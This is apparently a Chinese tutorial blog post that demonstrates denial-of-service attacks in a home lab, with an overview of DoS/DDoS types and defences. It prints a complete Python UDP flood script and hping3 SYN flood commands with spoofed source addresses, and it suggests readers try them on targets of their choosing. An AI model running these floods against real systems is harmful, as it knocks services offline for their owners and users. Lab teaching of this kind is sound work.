赞
踩
严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。
本文目的
演示如何借助 Kali Linux 系统内置的一个 TCP/IP 数据包组装/分析工具 hping
和在 Github 上开源的一个 DOS 攻击 Python 脚本,对局域网内的 Win7 主机自行搭建的 IIS 服务站点进行 DOS 拒绝服务攻击,使得受害主机在短时间接收到大量的访问请求包,占用大量系统资源而导致失去为正常用户提供服务能力。
环境说明
主机 | IP地址 |
---|---|
Kali Linux | 192.168.42.199 |
Win 7 虚拟机 | 192.168.42.128 |
两台虚拟主机均安装在 VMware 中,使用 Nat 模式形成一个可以互相连通的小局域网。
1、什么是拒绝服务攻击(DOS)
DoS 是 Denial of Service 的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。
单一的DoS攻击一般是采用一对一方式的,当攻击目标CPU速度低、内存小或者网络带宽小等等各项性能指标不高时它的攻击效果是明显的。
2、什么是分布式拒绝服务攻击(DDOS)
随着计算机与网络技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的网络,这使得DoS攻击的困难程度加大了。例如你的攻击软件每秒钟可以发送3,000个攻击包,但我的主机与网络带宽每秒钟可以处理10,000个攻击包,这样一来攻击就不会产生什么效果。
分布式的拒绝服务攻击(英文全称:Distributed Denial of Service,简称DDoS)就应运而生了。如果说现在计算机与网络的处理能力加大了10倍,用一台攻击机来攻击不再能起作用的话,攻击者就使用10台、100台攻击机同时发动攻击会如何呢?DDoS就是利用更多的傀儡机(也被称为“肉鸡”)来同时发起进攻。
1、DDOS攻击的组成
一个完整的DDoS攻击体系由攻击者、主控端、代理端和攻击目标四部分组成。
2、傀儡主机的对象
攻击者会攻占尽可能多的机器当作 傀儡主机,然后安装相应的攻击程序(在主控机上安装控制攻击的程序,而攻击机则安装DDoS攻击的发包程序)。攻击者最感兴趣,也最有可能成为别人的傀儡主机的机器包括那些链路状态好、性能好同时安全管理水平差的主机。攻击者一般会利用已有的或者未公布的一些系统或者应用软件的漏洞。取得一定的控制权,起码可以安装攻击实施所需要的程序,更厉害的可能还会取得最高控制权、留下后门等等。
3、傀儡主机的生成
在早期的DDoS攻击过程中,攻占傀儡主机这一步主要是攻击者自己手动完成的,亲自扫描网络,发现安全性比较差的主机,将其攻占并且安装攻击程序。但是后来随着DDoS攻击和蠕虫的融合,攻占傀儡机变成了一个自动化的过程,攻击者只要将蠕虫放入网络中,蠕虫就会在不断扩散中不停地攻占主机,这样所能联合的攻击机将变得非常巨大,DDoS攻击的威力更大。
DDOS攻击主要分为三类:流量型攻击;连接型攻击;特殊协议缺陷。对于具体的分类有很多种,下面简单介绍几种。
1、ICMP Flood
ICMP Flood 也就是 Ping Flood,此攻击在短时间内向目的主机发送大量的 Ping 的echo报文,主机不断响应,造成网络堵塞、主机资源耗尽。由于目前很多防火墙直接过滤ICMP报文,因此ICMP Flood出现的频度较低。
2、SYN Flood
利用了TCP协议建立连接的三次握手过程的缺陷,此攻击以多个随机的源主机地址向目的主机发送 syn 包,而在收到目的主机的 syn+ack 包后并不回应,目的主机就为这些源主机建立大量的连接队列,由于没有收到ack一直维护这些连接队列,造成资源的大量消耗而不能向正常的请求提供服务。
3、 UDP Flood
此攻击在短时间那模拟随机的源端口地址向随机的目的端口发送大量的UDP包,造成目标主机不能处理其他UDP的请求。常见的情况是利用大量UDP小包冲击DNS服务器或Radius认证服务器、流媒体视频服务器。
4、Smurf Flood
攻击者向一个子网的广播地址发送 ICMP echo 包,并且将源地址设置为要攻击的子网中的地址,从而,子网中所有的主机都向被攻击的主机回应 ICMP reply包,使主机受到攻击。
5、DNS Query Flood
大量傀儡机器向目标服务器发送大量的域名解析请求。根据微软的统计数据,一台DNS服务器所能承受的动态域名查询的上限是每秒钟9000个请求。而一台P3的PC机上可以轻易地构造出每秒钟几万个域名解析请求,足以使一台硬件配置极高的DNS服务器瘫痪,由此可见DNS服务器的脆弱性。
6、CC Attack
CC攻击是目前应用层攻击的主要手段之一,是针对Web服务在第七层协议发起的攻击(用来攻击网页页面),在越上层协议上发动DDoS攻击越难以防御。HTTP Flood 是CC攻击中最重要的方式之一,这种攻击主要是针对存在ASP、JSP、PHP、CGI等脚本程序,特征是和服务器建立正常的TCP连接,并不断的向脚本程序提交查询、列表等大量耗费数据库资源的调用。这种攻击的特点是可以绕过普通的防火墙防护,缺点是攻击静态页面的网站效果不佳。
由于CC攻击成本低、威力大,知道创宇安全专家组发现 80%的DDoS攻击 都是CC攻击。它会导致带宽资源严重被消耗,网站瘫痪;CPU、内存利用率飙升,主机瘫痪;瞬间快速打击,无法快速响应。
下面将使用 Kali 作为攻击机,对 Win 7 靶机的 IIS 站点进行 DDOS 攻击。
为了避免攻击公网上的网站,需要在 Win 7 靶机中自己搭建 IIS 服务器,具体步骤参考百度教程:WIN7如何用IIS搭建网站,搭建完如果其他机器不能访问,请参考百度教程设置防火墙访问策略:IIS网站局域网无法访问的解决方法。
1、搭建完以后在 Kali 主机使用浏览器访问 http://192.168.195.132
,可以获得 IIS 站点默认页面:
2、此处在 Win 7 的 IIS 站点根目录下创建了一个简单的 IISWeb.html
文件,如下所示:
3、使用 Win 10 物理主机访问一下上面自定义的页面,效果如下:
下面发动 DOS 攻击是借助 Github 上的 Python 脚本 https://github.com/Ha3MrX/DDos-Attack
:
import sys import os import time import socket import random #Code Time from datetime import datetime now = datetime.now() hour = now.hour minute = now.minute day = now.day month = now.month year = now.year ############## sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(1490) ############# os.system("clear") os.system("figlet DDos Attack") print print "Author : HA-MRX" print "You Tube : https://www.youtube.com/c/HA-MRX" print "github : https://github.com/Ha3MrX" print "Facebook : https://www.facebook.com/muhamad.jabar222" print ip = raw_input("IP Target : ") port = input("Port : ") os.system("clear") os.system("figlet Attack Starting") print "[ ] 0% " time.sleep(5) print "[===== ] 25%" time.sleep(5) print "[========== ] 50%" time.sleep(5) print "[=============== ] 75%" time.sleep(5) print "[====================] 100%" time.sleep(3) sent = 0 while True: sock.sendto(bytes, (ip,port)) sent = sent + 1 port = port + 1 print "Sent %s packet to %s throught port:%s"%(sent,ip,port) if port == 65534: port = 1
1、首先将代码从Github克隆到本地:
2、接着给ddos-attack.py
脚本设置可执行权限:
3、执行命令python ddos-attack.py
运行python脚本,开始执行 Dos 攻击,输入被攻击的主机IP和端口:
4、接下来 Kali 攻击机就会像目标主机发送大量数据包:
5、为了不让我的主机挂掉(实际上此时 Kali 主机和 Win 7 主机均已无法访问外网)……不继续了发包了,按下ctrl+Z
组合键结束攻击,此时发了数据包的数量如下:
读者可自行选择目标网站进行测试,注意如果是公网系统的话需要经过授权……或者攻击自己的个人博客。攻击过程可在 Kali 中开启多个终端同时执行攻击脚本,增加数据包发送量,同时可在另一个终端执行 ping 命令实时确认是否还可连通目标主机,直到其宕机……
hping 是用于生成和解析 TCP/IP 协议数据包的开源工具,创作者是Salvatore Sanfilippo,目前最新版是hping3
,Kali Linux已内置该工具。
hping 是安全审计、防火墙压力测试等工作的标配工具,可以对防火墙进行拒绝服务攻击,它可以对目标机发起大量 SYN Flood、smurf Flood、teardrop、land attack 等 Dos 攻击。它的攻击过程为:
下面我们演示如何使用 hping 工具发起拒绝服务攻击。
1、输入命令hping -S --flood -V IP
开始对 Win 7 主机进行 SYN Flood
攻击,如下图所示:
2、据说5分钟后即可让目标主机不堪重负……额我就不试了,按下Ctrl+C
组合键结束攻击,查看发包数量:
3、尴尬的是,发起 Dos 攻击后,Win 7 还没搞死(Kali 还可Ping通它,估计是因为局域网内主机连通怎么着都没问题),但我的 Kali 虚拟机和 Win 7 虚拟主机均丧失了访问外网的能力……需要重置 VMnet 8 网卡,将其恢复默认设置然后重新开机才行……可见不要轻易搞这种操作!
4、使用hping3 -S -U --flood -V --rand -source IP
命令则可以隐藏自己的IP地址进行IP伪装,其他关于 hping3 的具体使用命令可以在使用时直接输入 hping3 -h
查看参数介绍即可:
至此,借助 Kali Linux 系统发起 Dos 攻击的攻击演示结束。
本文中为了避免自己的主机宕机,并没有持续进行发包直到主机丧失响应(然而却丧失了访问外网的能力)……相信读者还是能借此感受到 Dos 攻击的危害。道高一尺,魔高一丈。最后了解下DDOS攻击的防御手段:
1、资源对抗
资源对抗也叫“死扛”,即通过大量服务器和带宽资源的堆砌达到从容应对DDoS流量的效果。对于网站来说,就是在短时间内急剧扩容,提供几倍或几十倍的带宽,顶住大流量的请求。这就是为什么云服务商可以提供防护产品,因为他们有大量冗余带宽,可以用来消化 DDOS 攻击。专门用于资源对抗的高防服务器主要是指能独立硬防御 50Gbps 以上的服务器,能够帮助网站拒绝服务攻击,定期扫描网络主节点等,这东西是不错,除了贵其他都好。
2、流量清洗
随着电子商务的兴起,企业用户会把越来越多的业务通过Internet 来进行处理,这使得企业可以更好地节约成本、提高效率。但是,如果企业自己构建这样一个平台,就需要自己建机房、建系统、聘请很多的开发及维护人员,不仅需要大量的资金投入,而且也很难达到专业级的服务品质。IDC就可以为企业提供这一系列的支持,免去了企业的后顾之忧。互联网数据中心(Internet Data Center,简称IDC
)是指一种拥有完善的设备(包括高速互联网接入带宽、高性能局域网络、安全可靠的机房环境等)、专业化的管理、完善的应用的服务平台。在这个平台基础上,IDC服务商为客户提供互联网基础平台服务(服务器托管、虚拟主机、邮件缓存、虚拟邮件等)以及各种增值服务(场地的租用服务、域名系统服务、负载均衡系统、数据库系统、数据备份服务等)。
流量清洗服务是提供给租用IDC
服务的政企客户,针对对其发起的DOS/DDOS攻击的监控、告警和防护的一种网络安全服务。当流量被送到DDoS防护清洗中心时,通过流量清洗技术,将正常流量和恶意流量区分开,正常的流量则回注客户网站。目前企业往往只能被动的采用服务器资源和带宽资源扩容的方式来保证自己的正常业务的资源能够得到满足。但随着DDoS攻击的规模越来越大,这种资源预留的作用越来越小。而运营商由于自身特点却是很好地DDoS攻击防御点。运营商自身具有充足的带宽资源,可以防止DDoS攻击流量不会将用户正常流量淹没,从而实现流量清洗的效果。同时由于运营商面对城域网的众多用户提供服务,可以保证清洗设备的利用率,有效节约清洗成本。
3、CDN 加速
CDN 即内容分发网络(全称是Content Delivery Network),指的是网站的静态内容分发到多个服务器,将网站访问流量分配到了各个节点中防止源站崩溃,同时隐藏了网站的真实 IP地址。因此 CDN 也是带宽扩容的一种方法,可以用来防御 DDOS 攻击。CDN的基本原理是广泛采用各种缓存服务器,将这些缓存服务器分布到用户访问相对集中的地区或网络中,在用户访问网站时,利用全局负载技术将用户的访问指向距离最近的工作正常的缓存服务器上,由缓存服务器直接响应用户请求。
使用 CDN 服务时网站内容存放在源服务器,CDN 上面是内容的缓存。用户只允许访问 CDN,如果内容不在 CDN 上,CDN 再向源服务器发出请求。这样的话,只要 CDN 够大,就可以抵御很大的攻击。不过,这种方法有一个前提,网站的大部分内容必须可以静态缓存。对于动态内容为主的网站(比如论坛),就要想别的办法,尽量减少用户对动态数据的请求。这里有一个关键点,一旦上了 CDN,千万不要泄露源服务器的 IP 地址,否则攻击者可以绕过 CDN 直接攻击源服务器,前面的努力都白费。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。